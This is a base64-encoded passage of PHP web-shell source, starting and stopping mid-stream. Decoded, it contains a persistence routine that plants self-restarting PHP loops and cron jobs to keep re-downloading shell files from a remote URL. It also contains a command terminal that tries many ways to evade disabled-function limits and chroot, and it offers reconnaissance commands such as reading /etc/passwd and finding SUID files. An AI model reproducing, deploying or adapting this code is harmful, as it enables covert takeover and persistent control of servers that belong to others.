QogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRhZEJnT2spIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhZFBocExvb3AgPSAkYWREaXIgLiAnLy5hZF9sb29wXycgLiBtdF9yYW5kKCkgLiAnLnBocCc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRQaHBDb2RlID0gIjw/cGhwXG5zZXRfdGltZV9saW1pdCgwKTtpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTtcbndoaWxlKHRydWUpe1xuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhZFBocENvZGUgLj0gIiAgQGZpbGVfcHV0X2NvbnRlbnRzKCIgLiB2YXJfZXhwb3J0KCRhZFRhcmdldCwgdHJ1ZSkgLiAiLCBAZmlsZV9nZXRfY29udGVudHMoIiAuIHZhcl9leHBvcnQoJGFkU3JjWyd1cmwnXSwgdHJ1ZSkgLiAiLCBmYWxzZSwgQHN0cmVhbV9jb250ZXh0X2NyZWF0ZShbJ2h0dHAnPT5bJ3RpbWVvdXQnPT4zMCwnaGVhZGVyJz0+XCJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMFxcclxcblwiXSwnc3NsJz0+Wyd2ZXJpZnlfcGVlcic9PmZhbHNlLCd2ZXJpZnlfcGVlcl9uYW1lJz0+ZmFsc2VdXSkpKTtcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRQaHBDb2RlIC49ICIgIHNsZWVwKCRhZFRpbWVyKTtcbn1cbiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGFkUGhwTG9vcCwgJGFkUGhwQ29kZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY2htb2QoJGFkUGhwTG9vcCwgMDY0NCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGhwQmluID0gdHJpbSgkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoIndoaWNoIHBocCAyPi9kZXYvbnVsbCB8fCB3aGljaCBwaHAtY2xpIDI+L2Rldi9udWxsIHx8IHdoaWNoIHBocDguMSAyPi9kZXYvbnVsbCB8fCB3aGljaCBwaHA4LjAgMj4vZGV2L251bGwgfHwgd2hpY2ggcGhwNy40IDI+L2Rldi9udWxsIikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkcGhwQmluKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiZ1BocCA9ICR0aGlzLT5ydW5CYWNrZ3JvdW5kUHJvY2VzcygkcGhwQmluIC4gJyAnIC4gZXNjYXBlc2hlbGxhcmcoJGFkUGhwTG9vcCksICRhZERpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRiZ1BocFsnb2snXSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRCZ09rID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFkQmdNZXRob2QgPSAncGhwX2xvb3BfJyAuICRiZ1BocFsnbWV0aG9kJ107CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkYWRCZ09rKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGN1cmxTZWxmID0gJ2N1cmwgLXNMICcgLiBlc2NhcGVzaGVsbGFyZygkYWRQcm90byAuICc6Ly8nIC4gJGFkSG9zdCAuIHN0cl9yZXBsYWNlKCRhZEJhc2VEaXIsICcnLCAkYWRQaHBMb29wKSkgLiAnID4vZGV2L251bGwgMj4mMSAmJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJGN1cmxTZWxmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRCZ09rID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWRCZ01ldGhvZCA9ICdwaHBfY3VybF90cmlnZ2VyJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAkYWRSZWxQYXRoID0gc3RyX3JlcGxhY2UoJGFkQmFzZURpciwgJycsICRhZFRhcmdldCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRhZFVybCA9ICRhZFByb3RvIC4gJzovLycgLiAkYWRIb3N0IC4gJGFkUmVsUGF0aDsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkVG90YWwrKzsKICAgICAgICAgICAgICAgICAgICAgICAgJGFkUGxhY2VkKys7CiAgICAgICAgICAgICAgICAgICAgICAgICRhZERlcGxveWVkW10gPSBbJ2ZpbGUnID0+ICRhZFNyY1snbmFtZSddLCAncGF0aCcgPT4gJGFkVGFyZ2V0LCAndXJsJyA9PiAkYWRVcmwsICd0aW1lcicgPT4gJGFkVGltZXIsICdtZXRob2QnID0+ICRhZEJnTWV0aG9kLCAnc2l6ZScgPT4gQGZpbGVzaXplKCRhZFRhcmdldCldOwogICAgICAgICAgICAgICAgICAgICAgICAkYWRTdGF0dXNDb2xvciA9ICRhZEJnT2sgPyAnZ3JlZW4nIDogJ3llbGxvdyc7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlsiIC4gJGFkVG90YWwgLiAiXSA8Zm9udCBjb2xvcj0nIiAuICRhZFN0YXR1c0NvbG9yIC4gIic+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGFkU3JjWyduYW1lJ10pIC4gIjwvZm9udD4gLT4gIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGFkRGlyKSAuICJcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgICBGaWxlOiA8Zm9udCBjb2xvcj0nY3lhbic+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGFkVGFyZ2V0KSAuICI8L2ZvbnQ+ICgiIC4gJHRoaXMtPmZvcm1hdFNpemUoQGZpbGVzaXplKCRhZFRhcmdldCkpIC4gIilcbiI7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiAgICBVUkw6ICA8Zm9udCBjb2xvcj0nY3lhbic+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGFkVXJsKSAuICI8L2ZvbnQ+XG4iOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgICAgVGltZXI6ICIgLiAkYWRUaW1lciAuICJzICgiIC4gcm91bmQoJGFkVGltZXIvNjAsIDEpIC4gIiBtaW4pIHwgQmFja2dyb3VuZDogPGZvbnQgY29sb3I9JyIgLiAkYWRTdGF0dXNDb2xvciAuICInPiIgLiAkYWRCZ01ldGhvZCAuICI8L2ZvbnQ+XG5cbiI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J2dyZWVuJz48Yj5BbnRpLURlbGV0ZSBkZXBsb3llZDogIiAuICRhZFRvdGFsIC4gIiBmaWxlKHMpPC9iPjwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0neWVsbG93Jz5UaW1lciByYW5nZTogMzAtNDUgbWludXRlcyAocmFuZG9tIHBlciBwcm9jZXNzKTwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0neWVsbG93Jz5NYXggZmlsZXM6IDUgKHNwcmVhZCBhY3Jvc3MgcmFuZG9tIGRpcmVjdG9yaWVzKTwvZm9udD5cbiI7CiAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0neWVsbG93Jz5GYWxsYmFjayBjaGFpbjogcHJvY19vcGVuID4gcG9wZW4gPiBleGVjID4gc2hlbGxfZXhlYyA+IGNyb250YWIoY3VybCkgPiBjcm9udGFiKHdnZXQpID4gcGhwX2xvb3AgPiBjdXJsX3RyaWdnZXI8L2ZvbnQ+XG4iOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYWREZXBsb3llZCkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICJcbjxiPkFsbCBkZXBsb3llZCBVUkxzOjwvYj5cbiI7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGFkRGVwbG95ZWQgYXMgJGFkSXRlbSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGFkSXRlbVsndXJsJ10pIC4gIlxuIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvICI8L3ByZT4iOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYWREZXBsb3llZCkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+PGI+UXVpY2sgQ29weSBVUkxzOjwvYj48YnI+IjsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8dGV4dGFyZWEgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4OycgcmVhZG9ubHkgb25jbGljaz0ndGhpcy5zZWxlY3QoKTsnPiI7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGFkRGVwbG95ZWQgYXMgJGFkSXRlbSkgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGFkSXRlbVsndXJsJ10pIC4gIlxuIjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+UGxlYXNlIHNlbGVjdCBhdCBsZWFzdCBvbmUgZmlsZSBmb3IgQW50aS1EZWxldGUhPC9mb250Pjxicj4iOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdjbG9uZSc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYycgdmFsdWU9JyIuc3RyX3JvdDEzKCR0aGlzLT5tYWlsUGF0aCkuIic+PGxhYmVsPk51bWJlciBvZiBjbG9uZXMgKDEtNTApOjwvbGFiZWw+PGlucHV0IHR5cGU9J251bWJlcicgbmFtZT0nY2xvbmVfY291bnQnIHZhbHVlPSckY2xvbmVDb3VudCcgbWluPScxJyBtYXg9JzUwJyBzdHlsZT0nd2lkdGg6ODBweDsnPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2Nsb25lX25vdycgdmFsdWU9J1N0YXJ0IENsb25pbmcnPjwvZm9ybT4iOwogICAgICAgIGVjaG8gIjxicj48aHI+PGJyPiI7CiAgICAgICAgZWNobyAiPGI+QW50aS1EZWxldGU8L2I+PGJyPiI7CiAgICAgICAgZWNobyAiPHA+RGVwbG95IGJhY2tncm91bmQgcHJvY2Vzc2VzIHRoYXQgcGVyaW9kaWNhbGx5IHJlLWRvd25sb2FkIGZpbGVzIHRvIHJhbmRvbSBkaXJlY3Rvcmllcy4gTWF4IDUgZmlsZXMsIHRpbWVyIDMwLTQ1IG1pbiByYW5kb20uPC9wPiI7CiAgICAgICAgZWNobyAiPHA+PGI+RmFsbGJhY2sgY2hhaW46PC9iPiBwcm9jX29wZW4gPiBwb3BlbiA+IGV4ZWMgPiBzaGVsbF9leGVjID4gY3JvbnRhYihjdXJsKSA+IGNyb250YWIod2dldCkgPiBwaHBfbG9vcCA+IGN1cmxfdHJpZ2dlcjwvcD4iOwogICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2Nsb25lJz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdjJyB2YWx1ZT0nIi5zdHJfcm90MTMoJHRoaXMtPm1haWxQYXRoKS4iJz4iOwogICAgICAgIGVjaG8gIjx0YWJsZT4iOwogICAgICAgIGVjaG8gIjx0cj48dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdhZF9rdXlhbmcnIHZhbHVlPScxJyBpZD0nYWRrJz4gPGxhYmVsIGZvcj0nYWRrJz5rdXlhbmcucGhwPC9sYWJlbD48L3RkPjwvdHI+IjsKICAgICAgICBlY2hvICI8dHI+PHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nYWRfbW9kaTQxJyB2YWx1ZT0nMScgaWQ9J2FkbSc+IDxsYWJlbCBmb3I9J2FkbSc+bW9kaTQxLnBocDwvbGFiZWw+PC90ZD48L3RyPiI7CiAgICAgICAgZWNobyAiPHRyPjx0ZCBjb2xzcGFuPScyJz48YnI+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nYW50aWRlbF9ub3cnIHZhbHVlPSdEZXBsb3kgQW50aS1EZWxldGUnPjwvdGQ+PC90cj4iOwogICAgICAgIGVjaG8gIjwvdGFibGU+PC9mb3JtPjwvZGl2PiI7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHRlcm1pbmFsVjQoKSB7CiAgICAgICAgZWNobyAiPGgxPlVsdGltYXRlIFRlcm1pbmFsIChWNCk8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iOwogICAgICAgIGVjaG8gIjxwPjxiPkZlYXR1cmVzOjwvYj4gUXVpY2sgZXhlYywgbXVsdGktaW50ZXJwcmV0ZXIgZmFsbGJhY2ssIGJ5cGFzcyBkaXNhYmxlX2Z1bmN0aW9ucywgY2hyb290IGVzY2FwZSwgYWx0ZXJuYXRpdmUgZXhlY3V0aW9uIG1ldGhvZHM8L3A+IjsKCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnY21kX3Y0J10pICYmICFlbXB0eSgkX1BPU1RbJ2NtZF92NCddKSkgewogICAgICAgICAgICAkY21kID0gJF9QT1NUWydjbWRfdjQnXTsKICAgICAgICAgICAgJGJ5cGFzc01ldGhvZCA9IGlzc2V0KCRfUE9TVFsnYnlwYXNzX21ldGhvZCddKSA/ICRfUE9TVFsnYnlwYXNzX21ldGhvZCddIDogJ2F1dG8nOwoKICAgICAgICAgICAgZWNobyAiPHByZT48Yj5Db21tYW5kOjwvYj4gIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGNtZCkgLiAiXG4iOwogICAgICAgICAgICBlY2hvICI8Yj5CeXBhc3MgTWV0aG9kOjwvYj4gJGJ5cGFzc01ldGhvZFxuXG48Yj5PdXRwdXQ6PC9iPlxuIjsKCiAgICAgICAgICAgICRvdXRwdXQgPSAnJzsKICAgICAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTsKICAgICAgICAgICAgJHVzZWRNZXRob2QgPSAnJzsKCiAgICAgICAgICAgICRkaXNhYmxlZEZ1bmNzID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiAgICAgICAgICAgICRkaXNhYmxlZEFyciA9IGFycmF5X21hcCgndHJpbScsIGV4cGxvZGUoJywnLCAkZGlzYWJsZWRGdW5jcykpOwoKICAgICAgICAgICAgc3dpdGNoICgkYnlwYXNzTWV0aG9kKSB7CiAgICAgICAgICAgICAgICBjYXNlICdhdXRvJzoKICAgICAgICAgICAgICAgICAgICAkbWV0aG9kcyA9IFsnc3RhbmRhcmQnLCAnc2hlbGxfaW50ZXJwcmV0ZXJzJywgJ21haWxfbG9nJywgJ3B1dGVudl9sZCcsICdpbWFwJywgJ2ltYWdpY2snLCAnZmZpJywgJ3BjbnRsJywgJ2V4cGVjdCcsICdiYWNrdGljaycsICdwcm9jX29wZW5fcHR5J107CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJG1ldGhvZHMgYXMgJG1ldGhvZCkgewogICAgICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gJHRoaXMtPmV4ZWN1dGVCeXBhc3NNZXRob2QoJGNtZCwgJG1ldGhvZCwgJGRpc2FibGVkQXJyKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSh0cmltKCRvdXRwdXQpKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHVzZWRNZXRob2QgPSAkbWV0aG9kOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSAkdGhpcy0+ZXhlY3V0ZUJ5cGFzc01ldGhvZCgkY21kLCAkYnlwYXNzTWV0aG9kLCAkZGlzYWJsZWRBcnIpOwogICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkodHJpbSgkb3V0cHV0KSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHN1Y2Nlc3MgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAkdXNlZE1ldGhvZCA9ICRieXBhc3NNZXRob2Q7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZiAoJHN1Y2Nlc3MpIHsKICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdjeWFuJz5bTWV0aG9kOiAkdXNlZE1ldGhvZF08L2ZvbnQ+XG4iOwogICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRvdXRwdXQpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+QWxsIGJ5cGFzcyBtZXRob2RzIGZhaWxlZC4gU2VydmVyIGhhcyB2ZXJ5IHN0cmljdCByZXN0cmljdGlvbnMuPC9mb250PlxuIjsKICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSd5ZWxsb3cnPkRpc2FibGVkIGZ1bmN0aW9uczogIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGRpc2FibGVkRnVuY3MpIC4gIjwvZm9udD5cbiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAiPC9wcmU+IjsKICAgICAgICB9CgogICAgICAgIGVjaG8gIjxicj48Yj5RdWljayBDb21tYW5kczo8L2I+PGJyPiI7CiAgICAgICAgJHF1aWNrQ21kcyA9IFsKICAgICAgICAgICAgJ1N5c3RlbSBJbmZvJyA9PiAndW5hbWUgLWE7IGlkOyBwd2Q7IHdob2FtaScsCiAgICAgICAgICAgICdQcm9jZXNzIExpc3QnID0+ICdwcyBhdXhmIDI+L2Rldi9udWxsIHx8IHBzIGF1eCcsCiAgICAgICAgICAgICdOZXR3b3JrIEluZm8nID0+ICdpZmNvbmZpZyAyPi9kZXYvbnVsbCB8fCBpcCBhZGRyOyBuZXRzdGF0IC10dWxwbiAyPi9kZXYvbnVsbCB8fCBzcyAtdHVscG4nLAogICAgICAgICAgICAnQ3JvbnRhYicgPT4gJ2Nyb250YWIgLWwgMj4vZGV2L251bGw7IGNhdCAvZXRjL2Nyb250YWIgMj4vZGV2L251bGwnLAogICAgICAgICAgICAnVXNlcnMnID0+ICdjYXQgL2V0Yy9wYXNzd2QgfCBncmVwIC12IG5vbG9naW4gfCBncmVwIC12IGZhbHNlJywKICAgICAgICAgICAgJ1NVSUQgRmlsZXMnID0+ICdmaW5kIC8gLXBlcm0gLTQwMDAgLXR5cGUgZiAyPi9kZXYvbnVsbCB8IGhlYWQgLTIwJywKICAgICAgICAgICAgJ1dyaXRhYmxlIERpcnMnID0+ICdmaW5kIC8gLXdyaXRhYmxlIC10eXBlIGQgMj4vZGV2L251bGwgfCBoZWFkIC0yMCcsCiAgICAgICAgICAgICdDYXBhYmlsaXRpZXMnID0+ICdnZXRjYXAgLXIgLyAyPi9kZXYvbnVsbCB8IGhlYWQgLTIwJywKICAgICAgICAgICAgJ0tlcm5lbCBFeHBsb2l0cycgPT4gJ3VuYW1lIC1yOyBjYXQgL2V0Yy8qcmVsZWFzZSonLAogICAgICAgICAgICAnRW52aXJvbm1lbnQnID0+ICdlbnY7IHNldCcsCiAgICAgICAgICAgICdPcGVuIFBvcnRzJyA9PiAnbmV0c3RhdCAtdHVscG4gMj4vZGV2L251bGwgfHwgc3MgLXR1bHBuJywKICAgICAgICAgICAgJ0Rpc2sgVXNhZ2UnID0+ICdkZiAtaDsgZHUgLXNoIC8qIDI+L2Rldi9udWxsIHwgc29ydCAtaCB8IHRhaWwgLTEwJwogICAgICAgIF07CgogICAgICAgIGVjaG8gIjx0YWJsZT48dHI+IjsKICAgICAgICAkaSA9IDA7CiAgICAgICAgZm9yZWFjaCAoJHF1aWNrQ21kcyBhcyAkbmFtZSA9PiAkcWNtZCkgewogICAgICAgICAgICBpZiAoJGkgPiAwICYmICRpICUgNCA9PSAwKSBlY2hvICI8L3RyPjx0cj4iOwogICAgICAgICAgICBlY2hvICI8dGQ+PGJ1dHRvbiB0eXBlPSdidXR0b24nIG9uY2xpY2s9XCJkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnY21kX3Y0JylbMF0udmFsdWU9JyIgLiBhZGRzbGFzaGVzKCRxY21kKSAuICInXCIgc3R5bGU9J21hcmdpbjoycHg7Jz4kbmFtZTwvYnV0dG9uPjwvdGQ+IjsKICAgICAgICAgICAgJGkrKzsKICAgICAgICB9CiAgICAgICAgZWNobyAiPC90cj48L3RhYmxlPjxicj4iOwoKICAgICAgICBlY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPiI7CiAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J3Rlcm12NCc+IjsKICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdjJyB2YWx1ZT0nIi5zdHJfcm90MTMoJHRoaXMtPm1haWxQYXRoKS4iJz4iOwogICAgICAgIGVjaG8gIjx0YWJsZT4iOwogICAgICAgIGVjaG8gIjx0cj48dGQ+QnlwYXNzIE1ldGhvZDo8L3RkPjx0ZD48c2VsZWN0IG5hbWU9J2J5cGFzc19tZXRob2QnPiI7CiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nYXV0byc+QXV0byAodHJ5IGFsbCk8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3N0YW5kYXJkJz5TdGFuZGFyZCBFeGVjdXRpb248L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3NoZWxsX2ludGVycHJldGVycyc+U2hlbGwgSW50ZXJwcmV0ZXJzIChzaC9iYXNoL3BlcmwvcHl0aG9uL3BocCk8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J21haWxfbG9nJz5NYWlsIExvZyBJbmplY3Rpb248L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3B1dGVudl9sZCc+cHV0ZW52IExEX1BSRUxPQUQ8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J2ltYXAnPklNQVAgQnlwYXNzPC9vcHRpb24+IjsKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdpbWFnaWNrJz5JbWFnZU1hZ2ljayBCeXBhc3M8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J2ZmaSc+RkZJIEJ5cGFzcyAoUEhQIDcuNCspPC9vcHRpb24+IjsKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdwY250bCc+UENOVEwgRm9yazwvb3B0aW9uPiI7CiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nZXhwZWN0Jz5FeHBlY3QgRXh0ZW5zaW9uPC9vcHRpb24+IjsKICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSdiYWNrdGljayc+QmFja3RpY2sgT3BlcmF0b3I8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Byb2Nfb3Blbl9wdHknPnByb2Nfb3BlbiBQVFk8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J2Nocm9vdF9lc2NhcGUnPkNocm9vdCBFc2NhcGU8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J2djX2J5cGFzcyc+R0MgVUFGIEJ5cGFzczwvb3B0aW9uPiI7CiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nanNvbl9ieXBhc3MnPkpTT04gU2VyaWFsaXplciBCeXBhc3M8L29wdGlvbj4iOwogICAgICAgIGVjaG8gIjwvc2VsZWN0PjwvdGQ+PC90cj4iOwogICAgICAgIGVjaG8gIjx0cj48dGQ+Q29tbWFuZDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY21kX3Y0JyBjbGFzcz0ndG9vbHNJbnAnIHBsYWNlaG9sZGVyPSdFbnRlciBjb21tYW5kLi4uJyBhdXRvY29tcGxldGU9J29mZicgc3R5bGU9J3dpZHRoOjUwMHB4Oyc+PC90ZD48L3RyPiI7CiAgICAgICAgZWNobyAiPHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRXhlY3V0ZSc+PC90ZD48L3RyPiI7CiAgICAgICAgZWNobyAiPC90YWJsZT48L2Zvcm0+IjsKCiAgICAgICAgZWNobyAiPGJyPjxiPlN5c3RlbSBJbmZvcm1hdGlvbjo8L2I+PGJyPiI7CiAgICAgICAgZWNobyAiPHRhYmxlIGNsYXNzPSdtYWluJz4iOwogICAgICAgIGVjaG8gIjx0cj48dGQ+UEhQIFZlcnNpb246PC90ZD48dGQ+IiAuIHBocHZlcnNpb24oKSAuICI8L3RkPjwvdHI+IjsKICAgICAgICBlY2hvICI8dHI+PHRkPk9TOjwvdGQ+PHRkPiIgLiBwaHBfdW5hbWUoKSAuICI8L3RkPjwvdHI+IjsKICAgICAgICBlY2hvICI8dHI+PHRkPkRpc2FibGVkIEZ1bmN0aW9uczo8L3RkPjx0ZCBzdHlsZT0nd29yZC1icmVhazpicmVhay1hbGw7bWF4LXdpZHRoOjUwMHB4Oyc+IiAuIGh0bWxzcGVjaWFsY2hhcnMoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykgPzogJ05vbmUnKSAuICI8L3RkPjwvdHI+IjsKICAgICAgICBlY2hvICI8dHI+PHRkPlNhZmUgTW9kZTo8L3RkPjx0ZD4iIC4gKEBpbmlfZ2V0KCdzYWZlX21vZGUnKSA/ICdPTicgOiAnT0ZGJykgLiAiPC90ZD48L3RyPiI7CiAgICAgICAgZWNobyAiPHRyPjx0ZD5PcGVuIEJhc2VkaXI6PC90ZD48dGQ+IiAuIChAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykgPzogJ05vbmUnKSAuICI8L3RkPjwvdHI+IjsKICAgICAgICBlY2hvICI8dHI+PHRkPkxvYWRlZCBFeHRlbnNpb25zOjwvdGQ+PHRkPiIgLiBpbXBsb2RlKCcsICcsIGdldF9sb2FkZWRfZXh0ZW5zaW9ucygpKSAuICI8L3RkPjwvdHI+IjsKICAgICAgICBlY2hvICI8L3RhYmxlPiI7CiAgICAgICAgZWNobyAiPC9kaXY+IjsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZXhlY3V0ZUJ5cGFzc01ldGhvZCgkY21kLCAkbWV0aG9kLCAkZGlzYWJsZWRBcnIpIHsKICAgICAgICAkb3V0cHV0ID0gJyc7CiAgICAgICAgc3dpdGNoICgkbWV0aG9kKSB7CiAgICAgICAgICAgIGNhc2UgJ3N0YW5kYXJkJzoKICAgICAgICAgICAgICAgICRvdXRwdXQgPSAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJGNtZCAuICIgMj4mMSIpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3NoZWxsX2ludGVycHJldGVycyc6CiAgICAgICAgICAgICAgICAkaW50ZXJwcmV0ZXJzID0gWwogICAgICAgICAgICAgICAgICAgICdzaCcgPT4gJy9iaW4vc2ggLWMgJyAuIGVzY2FwZXNoZWxsYXJnKCRjbWQpLAogICAgICAgICAgICAgICAgICAgICdiYXNoJyA9PiAnL2Jpbi9iYXNoIC1jICcgLiBlc2NhcGVzaGVsbGFyZygkY21kKSwKICAgICAgICAgICAgICAgICAgICAncGVybCcgPT4gJ3BlcmwgLWUgJyAuIGVzY2FwZXNoZWxsYXJnKCdzeXN0ZW0oJyAuIGVzY2FwZXNoZWxsYXJnKCRjbWQpIC4gJyknKSwKICAgICAgICAgICAgICAgICAgICAncHl0aG9uJyA9PiAncHl0aG9uIC1jICcgLiBlc2NhcGVzaGVsbGFyZygnaW1wb3J0IG9zO29zLnN5c3RlbSgnIC4gZXNjYXBlc2hlbGxhcmcoJGNtZCkgLiAnKScpLAogICAgICAgICAgICAgICAgICAgICdweXRob24zJyA9PiAncHl0aG9